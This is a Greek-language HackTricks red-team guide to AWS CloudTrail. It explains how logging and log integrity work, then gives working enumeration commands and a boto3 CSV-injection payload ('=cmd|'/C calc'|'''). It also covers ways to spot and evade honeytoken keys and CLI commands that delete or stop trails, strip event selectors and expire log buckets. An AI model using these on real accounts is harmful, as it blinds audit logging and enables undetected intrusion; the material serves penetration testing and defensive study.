AWS - CloudTrail Enum

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

CloudTrail

Το AWS CloudTrail καταγράφει και παρακολουθεί τη δραστηριότητα εντός του περιβάλλοντος AWS. Καταγράφει λεπτομερείς αρχεία καταγραφής συμβάντων, συμπεριλαμβανομένου του ποιος έκανε τι, πότε και από πού, για όλες τις αλληλεπιδράσεις με τους πόρους του AWS. Αυτό παρέχει ένα ίχνος ελέγχου των αλλαγών και των ενεργειών, βοηθώντας στην ανάλυση ασφάλειας, τον έλεγχο συμμόρφωσης και την παρακολούθηση των αλλαγών στους πόρους. Το CloudTrail είναι απαραίτητο για την κατανόηση της συμπεριφοράς των χρηστών και των πόρων, την ενίσχυση της ασφάλειας και τη διασφάλιση της συμμόρφωσης με τους κανονισμούς.

Κάθε καταγεγραμμένο συμβάν περιέχει:

  • Το όνομα της κληθείσας API: eventName

  • Την κληθείσα υπηρεσία: eventSource

  • Την ώρα: eventTime

  • Τη διεύθυνση IP: SourceIPAddress

  • Τη μέθοδο του πράκτορα: userAgent. Παραδείγματα:

  • Signing.amazonaws.com - Από το AWS Management Console

  • console.amazonaws.com - Ριζικός χρήστης του λογαριασμού

  • lambda.amazonaws.com - AWS Lambda

  • Τις παραμέτρους αιτήματος: requestParameters

  • Τα στοιχεία απόκρισης: responseElements

Τα συμβάντα γράφονται σε ένα νέο αρχείο καταγραφής περίπου κάθε 5 λεπτά σε ένα αρχείο JSON, κρατιούνται από το CloudTrail και τελικά, τα αρχεία καταγραφής παραδίδονται στο S3 περίπου 15 λεπτά μετά. Οι καταγραφές του CloudTrail μπορούν να συγκεντρωθούν ανάλογα με τους λογαριασμούς και τις περιοχές. Το CloudTrail επιτρέπει τη χρήση ακεραιότητας αρχείου καταγραφής για να μπορείτε να επαληθεύσετε ότι τα αρχεία καταγραφής σας παρέμειναν αναλλοίωτα από τότε που τα παρέδωσε το CloudTrail. Δημιουργεί ένα SHA-256 hash των καταγραφών μέσα σε ένα αρχείο αναλύσεως. Ένα sha-256 hash των νέων καταγραφών δημιουργείται κάθε ώρα. Όταν δημιουργείτε ένα Trail, οι επιλογείς συμβάντων θα σας επιτρέψουν να υποδείξετε το Trail για καταγραφή: Διαχείριση, δεδομένα ή γεγονότα ενόρασης.

Οι καταγραφές αποθηκεύονται σε ένα κάδο S3. Από προεπιλογή χρησιμοποιείται η Κρυπτογράφηση Εξυπηρετητή Πλευράς Εξυπηρέτησης (SSE-S3), έτσι η AWS θα αποκρυπτογραφήσει το περιεχόμενο για τα άτομα που έχουν πρόσβαση σε αυτό, αλλά για επιπλέον ασφάλεια μπορείτε να χρησιμοποιήσετε την SSE με το KMS και τα δικά σας κλειδιά.

Οι καταγραφές αποθηκεύονται σε ένα κάδο S3 με την ακόλουθη μορφή ονόματος:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Με το BucketName: aws-cloudtrail-logs-<accountid>-<random>

  • Παράδειγμα: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Μέσα σε κάθε φάκελο, κάθε καταγραφή θα έχει ένα όνομα που ακολουθεί αυτήν τη μορφή: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Σύμβαση Ονομασίας Αρχείου Καταγραφής

Επιπλέον, τα αρχεία αναλύσεως (για έλεγχο ακεραιότητας αρχείου) θα βρίσκονται στον ίδιο κάδο σε:

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Καταγραφή στο CloudWatch

Το CloudTrail μπορεί αυτόματα να στείλει τις καταγραφές στο CloudWatch, ώστε να μπορείτε να ορίσετε ειδοποιήσεις που θα σας προειδοποιούν όταν πραγματοποιούνται ύποπτες δραστηριότητες. Σημειώστε ότι για να επιτρέψετε στο CloudTrail να στείλει τις καταγραφές στο CloudWatch, πρέπει να δημιουργηθεί ένας ρόλος που επιτρέπει αυτήν την ενέργεια. Εάν είναι δυνατόν, συνιστάται να χρησιμοποιηθεί ο προεπιλεγμένος ρόλος της AWS για την εκτέλεση αυτών των ενεργειών. Αυτός ο ρόλος θα επιτρέψει στο CloudTrail να:

  • CreateLogStream: Αυτό επιτρέπει τη δημιουργία ενός ροής καταγραφής CloudWatch Logs

  • PutLogEvents: Παράδοση των καταγραφών CloudTrail στη ροή καταγραφής CloudWatch Logs

Ιστορικό Συμβάντων

Το Ιστορικό Συμβάντων του CloudTrail σας επιτρέπει να επιθεωρήσετε σε μια πίνακα τις καταγραφές που έχουν καταγραφεί:

Αναλύσεις

Οι Αναλύσεις του CloudTrail αναλύουν αυτόματα τα γεγονότα διαχείρισης εγγραφών από τις διαδρομές του CloudTrail και σας προειδοποιούν για ασυνήθιστη δραστηριότητα. Για παράδειγμα, εάν υπάρχει αύξηση στα γεγονότα TerminateInstance που διαφέρει από τις καθιερωμένες βάσεις, θα το δείτε ως ένα γεγονός Ανάλυσης. Αυτά τα γεγονότα καθιστούν την εύρεση και την αντίδραση σε ασυνήθιστη δραστηριότητα του API πιο εύκολη από ποτέ.

Οι αναλύσεις αποθηκεύονται στον ίδιο κάδο με τις καταγραφές του CloudTrail στο: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Ασφάλεια

Ακεραιότητα Αρχείου Καταγραφής CloudTrail

  • Επαλήθευση εάν οι καταγραφές έχουν παραβιαστεί (τροποποιηθεί ή διαγραφεί)

  • Χρησιμοποιεί αρχεία ανακεφαλαίωσης (δημιουργία κατακεφαλαίου για κάθε αρχείο)

    • Ανακεφαλαίωση με κατακεφαλαίωση SHA-256

    • Ανακεφαλαίωση SHA-256 με RSA για ψηφιακή υπογραφή

    • ιδιωτικό κλειδί που ανήκει στην Amazon

  • Απαιτεί 1 ώρα για τη δημιουργία ενός αρχείου ανακεφαλαίωσης (γίνεται κάθε ώρα)

Αποτροπή μη εξουσιοδοτημένης πρόσβασης

  • Χρησιμοποιήστε πολιτικές IAM και πολιτικές κάδου S3

    • ομάδα ασφαλείας —> πρόσβαση διαχειριστή

    • ελεγκτές —> μόνο ανάγνωση

  • Χρησιμοποιήστε SSE-S3/SSE-KMS για την κρυπτογράφηση των καταγραφών

Αποτροπή διαγραφής αρχείων καταγραφής

  • Περιορίστε την πρόσβαση διαγραφής με τις πολιτικές IAM και τις πολιτικές κάδου

  • Διαμορφώστε τη διαγραφή S3 MFA

  • Επαλήθευση με την Επαλήθευση Αρχείου Καταγραφής

Σύμβουλος Πρόσβασης

Ο Σύμβουλος Πρόσβασης της AWS βασίζεται στις τελευταίες 400 ημέρες καταγραφών CloudTrail για να συγκεντρώσει τις αναλύσεις του. Το CloudTrail καταγράφει ένα ιστορικό των κλήσεων API της AWS και των σχετικών γεγονότων που πραγματοποιούνται σε ένα λογαριασμό AWS. Ο Σύμβουλος Πρόσβασης χρησιμοποιεί αυτά τα δεδομένα για να εμφανίσει πότε τελευταία προσπελάστηκαν οι υπηρεσίες. Αναλύοντας τις καταγραφές του CloudTrail, ο Σύμβουλος Πρόσβασης μπορεί να προσδιορίσει ποιες υπηρεσίες της AWS έχει προσπελάσει ένας χρήστης IAM ή ένας ρόλος και πότε πραγματοποιήθηκε αυτή η πρόσβαση. Αυτό βοηθά τους διαχειριστές της AWS να λαμβάνουν ενημερωμένες αποφάσεις σχετικά με τη βελτιστοποίηση των δικαιωμάτων, καθώς μπορούν να αναγνωρίσουν υπηρεσίες που δεν έχουν προσπελαστεί για εκτεταμένα χρονικά διαστήματα και ενδεχομένως να μειώσουν υπερβολικά ευρείες άδειες βάσει πραγματικών προτύπων χρήσης.

Επομένως, ο Σύμβουλος Πρόσβασης ενημερώνει για τις περιττές άδειες που δίνονται στους χρήστες, ώστε ο διαχειριστής να μπορεί να τις αφαιρέσει

Ενέργειες

Απαρίθμηση

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

Εισαγωγή CSV

Είναι δυνατόν να πραγματοποιηθεί εισαγωγή CVS μέσα στο CloudTrail που θα εκτελέσει αυθαίρετο κώδικα εάν τα αρχεία καταγραφής εξάγονται σε μορφή CSV και ανοίγονται με το Excel. Ο παρακάτω κώδικας θα δημιουργήσει μια καταχώρηση καταγραφής με ένα κακό όνομα Trail που περιέχει το φορτίο (payload):

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Για περισσότερες πληροφορίες σχετικά με τις επιθέσεις CSV Injections, ελέγξτε τη σελίδα:

Για περισσότερες πληροφορίες σχετικά με αυτήν τη συγκεκριμένη τεχνική, ελέγξτε https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Παράκαμψη Ανίχνευσης

Παράκαμψη HoneyTokens

Τα HoneyTokens δημιουργούνται για να ανιχνεύσουν τη διαρροή ευαίσθητων πληροφοριών. Στην περίπτωση του AWS, είναι κλειδιά AWS των οποίων η χρήση παρακολουθείται, αν κάτι ενεργοποιήσει μια ενέργεια με αυτό το κλειδί, τότε κάποιος πρέπει να έχει κλέψει αυτό το κλειδί.

Ωστόσο, αυτή η παρακολούθηση γίνεται μέσω του CloudTrail και υπάρχουν μερικές υπηρεσίες του AWS που δεν αποστέλλουν καταγραφές στο CloudTrail (βρείτε τη λίστα εδώ). Ορισμένες από αυτές τις υπηρεσίες θα απαντήσουν με ένα σφάλμα που περιέχει το ARN του ρόλου του κλειδιού αν κάποιος μη εξουσιοδοτημένος (το κλειδί HoneyToken) προσπαθήσει να τον προσεγγίσει.

Με αυτόν τον τρόπο, ένας επιτιθέμενος μπορεί να αποκτήσει το ARN του κλειδιού χωρίς να ενεργοποιήσει καμία καταγραφή. Στο ARN, ο επιτιθέμενος μπορεί να δει τον αριθμό του λογαριασμού AWS και το όνομα, είναι εύκολο να γνωρίζει τους αριθμούς λογαριασμών των εταιρειών HoneyToken, έτσι ένας επιτιθέμενος μπορεί να αναγνωρίσει αν το τοκέν είναι ένα HoneyToken.

Ανίχνευση HoneyTokens

Το Pacu ανιχνεύει αν ένα κλειδί ανήκει στα Canarytokens, SpaceCrab, SpaceSiren:

  • Εάν το canarytokens.org εμφανίζεται στο όνομα του ρόλου ή το 534261010715 εμφανίζεται στο μήνυμα σφάλματος.

  • Ελέγχοντάς τα πιο πρόσφατα, χρησιμοποιούν τον λογαριασμό 717712589309 και εξακολουθούν να έχουν τον χαρακτηρισμό canarytokens.com στο όνομα.

  • Εάν το SpaceCrab εμφανίζεται στο όνομα του ρόλου στο μήνυμα σφάλματος.

  • Το SpaceSiren χρησιμοποιεί uuids για τη δημιουργία ονομάτων χρηστών: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Εάν το όνομα φαίνεται σαν τυχαία δημιουργημένο, υπάρχουν υψηλές πιθανότητες ότι είναι ένα HoneyToken.

Σημειώστε ότι όλες οι δημόσιες διεπαφές που ανακαλύφθηκαν ότι δεν δημιουργούν καταγραφές CloudTrail έχουν διορθωθεί τώρα, οπότε ίσως χρειαστεί να βρείτε τις δικές σας...

Ή μπορείτε να λάβετε τον Αριθμό Λογαριασμού από τον κωδικοποιημένο μέσα στο κλειδί πρόσβασης όπως εξηγείται εδώ και να ελέγξετε τον αριθμό λογαριασμού με τη λίστα σας από λογαριασμούς Honeytokens AWS:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Για περισσότερες πληροφορίες, ελέγξτε την αρχική έρευνα.

Πρόσβαση σε τρίτη υποδομή

Ορισμένες υπηρεσίες του AWS θα δημιουργήσουν ορισμένες υποδομές όπως Βάσεις Δεδομένων ή Συστάδες Kubernetes (EKS). Ένας χρήστης που επικοινωνεί απευθείας με αυτές τις υπηρεσίες (όπως το Kubernetes API) δεν θα χρησιμοποιήσει το AWS API, οπότε το CloudTrail δεν θα μπορεί να δει αυτήν την επικοινωνία.

Συνεπώς, ένας χρήστης με πρόσβαση στο EKS που έχει ανακαλύψει το URL του EKS API μπορεί να δημιουργήσει ένα τοπικό διακριτικό και να επικοινωνήσει απευθείας με την υπηρεσία API χωρίς να ανιχνευθεί από το CloudTrail.

Περισσότερες πληροφορίες στο:

pageAWS - EKS Post Exploitation

Τροποποίηση της διαμόρφωσης του CloudTrail

Διαγραφή ίχνων

aws cloudtrail delete-trail --name [trail-name]

Διακοπή ίχνων

Για να διακόψετε τα ίχνη:

  1. Μεταβείτε στον πίνακα ελέγχου του AWS και επιλέξτε την υπηρεσία AWS CloudTrail.

  2. Επιλέξτε το trail που θέλετε να διακόψετε.

  3. Κάντε κλικ στο κουμπί "Διακοπή ίχνης" στην επάνω αριστερή γωνία της σελίδας.

  4. Επιβεβαιώστε τη διακοπή των ίχνων πατώντας το κουμπί "Διακοπή ίχνης" στο παράθυρο επιβεβαίωσης.

Τα ίχνη θα διακοπούν και δεν θα καταγράφονται πλέον λεπτομέρειες δραστηριότητας.

aws cloudtrail stop-logging --name [trail-name]

Απενεργοποίηση καταγραφής πολλαπλών περιοχών

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Απενεργοποίηση καταγραφής με επιλογείς συμβάντων

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Στο πρώτο παράδειγμα, παρέχεται ένας μόνο επιλογέας συμβάντων ως ένα JSON πίνακα με ένα μόνο αντικείμενο. Το "ReadWriteType": "ReadOnly" υποδηλώνει ότι ο επιλογέας συμβάντων θα πρέπει να καταγράφει μόνο τα συμβάντα μόνο για ανάγνωση (έτσι οι CloudTrail insights δεν θα ελέγχουν για παράδειγμα τα συμβάντα εγγραφής).

Μπορείτε να προσαρμόσετε τον επιλογέα συμβάντων βάσει των συγκεκριμένων απαιτήσεών σας.

Διαγραφή καταγραφών μέσω πολιτικής κύκλου ζωής S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Τροποποίηση της διαμόρφωσης του κάδου

  • Διαγραφή του κάδου S3

  • Αλλαγή της πολιτικής του κάδου για να απορρίπτει οποιαδήποτε εγγραφή από την υπηρεσία CloudTrail

  • Προσθήκη πολιτικής κύκλου ζωής στον κάδο S3 για τη διαγραφή αντικειμένων

  • Απενεργοποίηση του κλειδιού kms που χρησιμοποιείται για την κρυπτογράφηση των αρχείων καταγραφής του CloudTrail

Ransomware του CloudTrail

Ransomware του S3

Μπορείτε να δημιουργήσετε ένα ασύμμετρο κλειδί και να κάνετε τον CloudTrail να κρυπτογραφήσει τα δεδομένα με αυτό το κλειδί και να διαγράψετε το ιδιωτικό κλειδί έτσι ώστε τα περιεχόμενα του CloudTrail να μην μπορούν να ανακτηθούν. Αυτό είναι ουσιαστικά ένα S3-KMS ransomware που εξηγείται στο:

pageAWS - S3 Post Exploitation

Ransomware του KMS

Αυτός είναι ο ευκολότερος τρόπος για να πραγματοποιήσετε την προηγούμενη επίθεση με διαφορετικές απαιτήσεις δικαιωμάτων:

pageAWS - KMS Post Exploitation

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated